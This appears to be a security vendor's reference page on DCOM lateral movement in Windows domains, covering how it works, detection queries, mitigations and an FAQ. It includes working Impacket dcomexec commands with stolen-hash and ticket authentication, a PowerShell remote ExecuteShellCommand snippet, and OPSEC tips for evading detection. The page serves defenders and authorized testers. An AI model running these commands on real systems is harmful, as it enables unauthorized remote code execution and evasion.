1. Resources
  2. Identity Threats
  3. Active Directory

DCOM Lateral Movement

Also known as: MMC20.Application lateral movement, dcomexec, ShellWindows, ShellBrowserWindow, Distributed COM execution

An administrator of a Windows host can activate COM objects there over the network and call methods that start processes, without a service, a task or a file copy.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
Remote launch and activation rights for the COM application on the target: local Administrators by default, or Distributed COM Users where an application grants it. RPC access on TCP 135.
What the attacker gains
Command execution on the target, in the context of the COM server that was activated, with the caller's administrator rights.
Threat groups
AgriusAPT3APT5Aquatic PandaBlackByteChimeraCinnamon TempestIndrik SpiderMagic HoundNaikonNIMBUS MANTICOREOilRigPlaySandworm Teamand 7 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1021.003, T1078.002.

How it works

The Component Object Model (COM) lets one program use objects implemented by another. Distributed COM (DCOM) extends this across the network: a client asks a remote computer to activate a COM class and then calls methods on the object over RPC. Windows and Office register many COM applications, and a number of them expose methods that start programs. When such an object can be activated remotely, it becomes a channel for lateral movement.

The objects that public tooling uses are:

Object Identifier Method that runs a command
MMC20.Application CLSID 49B2791A-B1AE-4C90-9B8E-E860BA07F889 Document.ActiveView.ExecuteShellCommand
ShellWindows CLSID 9BA05972-F6A8-11CF-A442-00A0C90A8F39 Item().Document.Application.ShellExecute
ShellBrowserWindow CLSID C08AFD90-F2A1-11D1-8455-00A0C91F3880 Document.Application.ShellExecute

ExecuteShellCommand is a documented method of the Microsoft Management Console automation model. It takes a command, a working directory, a parameter string and a window state, starts the command in a separate process and returns at once. ShellWindows and ShellBrowserWindow give an interface into the Explorer shell, whose ShellExecute method does the same. Office applications registered as COM servers can also be driven remotely to run macros or DDE commands.

Access is controlled by access control lists, in three places:

  • Machine-wide limits and defaults, set in dcomcnfg, cap who may launch, activate and access any COM server remotely.
  • Per-application permissions on the AppID can set separate launch, activation and access rights. The objects above have no explicit launch permission, so the machine default applies.
  • The server identity. A COM application runs as the launching user, the interactive user or a configured account. The identity the server runs under is separate from the identity of the caller.

By default only members of local Administrators can launch and activate COM objects remotely. The built-in Distributed COM Users group exists so that these rights can be granted without full administrator membership, and an application can use different permissions for launch and for access. As with the other remote administration channels, a domain account in local Administrators receives a full token over the network, while local accounts other than the built-in Administrator are filtered by remote UAC.

Prerequisites

  • An account with remote launch and activation rights for the chosen object on the target: in practice, a local administrator.
  • Network access to the RPC endpoint mapper on TCP 135 and to the dynamic RPC port range.
  • A firewall configuration on the target that allows the activation. The default Windows Firewall rules block it.
  • The object must exist on the target's Windows version. ShellBrowserWindow is not present on Windows 7.
  • For tools that return output: SMB access to a share, by default ADMIN$.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Semi-interactive shell with Impacket

dcomexec.py supports the three objects and uses ShellWindows unless told otherwise:

# Default object (ShellWindows), password authentication
dcomexec.py corp.example.com/alice:'<password>'@192.0.2.20

# MMC20.Application with an NT hash
dcomexec.py -object MMC20 -hashes :<nt-hash> corp.example.com/alice@192.0.2.20

# ShellBrowserWindow with a Kerberos ticket
dcomexec.py -object ShellBrowserWindow -k -no-pass corp.example.com/alice@SRV01.corp.example.com

Like wmiexec.py, it wraps each command in cmd.exe /Q /c, redirects output to a file on the ADMIN$ share and reads it back over SMB. Two options reduce that footprint:

# Run one command, do not fetch output, no SMB connection
dcomexec.py -object MMC20 -nooutput corp.example.com/alice:'<password>'@192.0.2.20 'C:\Windows\Temp\payload.exe'

# Run the command directly, without cmd.exe in front of it
dcomexec.py -object MMC20 -silentcommand corp.example.com/alice:'<password>'@192.0.2.20 'C:\Windows\Temp\payload.exe'

2. Native PowerShell with MMC20.Application

From a Windows host where the current user is an administrator of the target, .NET can activate the object by its ProgID on a named computer and call the method:

$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "SRV01"))
$mmc.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\Windows\Temp\out.txt", "Minimized")

The four arguments are the command, the working directory, the parameters and the window state. The command and its parameters must be passed separately. The call returns immediately and gives no output, so results are written to a file or sent back over another channel.

3. Other objects

ShellWindows and ShellBrowserWindow are activated by CLSID rather than ProgID ([type]::GetTypeFromCLSID with the identifiers in the table above), and the command is run through Document.Application.ShellExecute.

Impact

The attacker runs commands on the target with administrator rights, as with WMI or service creation. The value of DCOM to an attacker is variety: when service installation is monitored and WMI process creation is blocked, there is usually still a COM object that will start a process, and each one has a different parent process and a different event trail. From the host, the usual next steps are credential dumping and further movement.

OPSEC and artifacts

  • No service, no task, no WMI call. The rules that watch events 7045, 4697 and 4698, or processes created by WmiPrvSE.exe, do not fire. The network logon remains: event 4624 type 3 with the source address, and event 4672 for the administrator session.
  • Choosing the object. With MMC20.Application the target starts mmc.exe as a COM server, and the command is its child. A server that nobody is signed in to does not normally run mmc.exe, and mmc.exe rarely starts cmd.exe. With ShellWindows and ShellBrowserWindow the command is started through the Explorer shell interface instead, so a rule written for mmc.exe does not match.
  • Cleaning up the server process. dcomexec.py calls the Quit method on MMC20.Application and ShellBrowserWindow when it exits. An operator who uses the PowerShell method and forgets leaves an mmc.exe process running in a non-interactive session.
  • Skipping the output file. -nooutput and -silentcommand avoid the cmd.exe /Q /c ... 1> \\127.0.0.1\ADMIN$\__... command line and the SMB session. Process creation is still recorded in event 4688 where it is audited.
  • Denied attempts. The System log's DistributedCOM provider records event 10016 when a launch, activation or access permission is denied, naming the CLSID, the APPID, the requested permission and the user. Events 10036, 10037 and 10038 record calls rejected by the authentication-level hardening that Microsoft introduced with KB5004442. Events 10000 and 10001 are server startup failures. All of these also occur in normal local operation.
  • On the wire. The activation request, the lookup of the method name (ExecuteShellCommand or ShellExecute) and the invoke call that carries the command are visible to network sensors that parse DCERPC, unless packet privacy is negotiated.

Detection

  • Process lineage. Alert on mmc.exe starting command processors or script hosts, and on Office applications starting them on hosts where nobody is working in Office. Correlate with a type 3 logon from another host seconds before.
  • Unexpected COM servers. mmc.exe running on a server with no interactive session, or started shortly after an inbound RPC connection, is worth a look on its own.
  • Network logon to process creation. Match the TargetLogonId of the type 3 event 4624 with the SubjectLogonId of later 4688 events on the same host.
  • DCOM denials across hosts. One account producing event 10016 for the same CLSID on several machines in a short time is someone testing which hosts accept activation.
  • NTLM use by privileged accounts from unusual sources is covered by the Pass-the-Hash rules.
// Command processors started by the MMC COM server
SecurityEvent
| where EventID == 4688
| where ParentProcessName endswith "\\mmc.exe"
| where NewProcessName has_any ("\\cmd.exe", "\\powershell.exe", "\\pwsh.exe", "\\rundll32.exe", "\\mshta.exe", "\\wscript.exe", "\\cscript.exe")
| project TimeGenerated, Computer, SubjectUserName, SubjectLogonId, NewProcessName, CommandLine
| order by TimeGenerated desc
// DCOM permission denials and authentication-level failures
WindowsEvent
| where Channel == "System" and Provider == "Microsoft-Windows-DistributedCOM"
| where EventID in (10016, 10036, 10037, 10038)
| project TimeGenerated, Computer, EventID, EventData
| order by TimeGenerated desc

Event 10016 is common on healthy systems for a handful of well-known applications. Filter those CLSIDs out from a baseline before alerting.

Mitigation

  • Keep the host firewall on for the domain profile and do not enable remote administration or Microsoft Management Console rules on machines that do not need them. Allow inbound RPC only from management hosts.
  • Limit local administrators and tier them, as for the other remote execution channels. Use Windows LAPS for the local Administrator account.
  • Tighten DCOM permissions. In dcomcnfg, review the machine-wide launch and activation limits and remove remote launch and remote activation where no workload needs them. Review membership of Distributed COM Users. Set explicit launch permissions on the AppIDs of objects that should never be activated remotely, and have an owner justify each remaining grant. Test first: management and monitoring products depend on DCOM.
  • Apply the DCOM authentication hardening from KB5004442 so that servers reject activation requests below packet integrity.
  • Disable DCOM on systems where nothing uses it. This is rarely practical on servers and needs testing.
  • Audit. Enable Audit Process Creation with command lines and collect the System log from servers. See the audit policy guide.

Detection rules for this attack

Log events to collect

FAQ

What is DCOM lateral movement?

Distributed COM lets a program create a COM object on another computer and call its methods. Some objects that ship with Windows expose methods that run a command, such as ExecuteShellCommand on MMC20.Application. An attacker with administrator rights on the target activates such an object remotely and uses the method to start a process.

Who can activate COM objects remotely?

By default only members of local Administrators can remotely launch and activate COM objects. The machine-wide limits and the launch, activation and access permissions of each COM application are access control lists, so a host can also grant these rights to the Distributed COM Users group or to named accounts.

Does the Windows Firewall stop it?

The default firewall configuration blocks remote DCOM activation of these objects. The technique works where the firewall is off for the domain profile, or where rules for remote administration or the Microsoft Management Console have been enabled, which is common on servers.

How do you detect DCOM execution?

Look at process lineage on the target. A command processor started by mmc.exe, or by another application that was launched as a COM server rather than by a user, shortly after a network logon from another host, is the pattern. DistributedCOM events 10016 and 10036 to 10038 in the System log record denied attempts.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.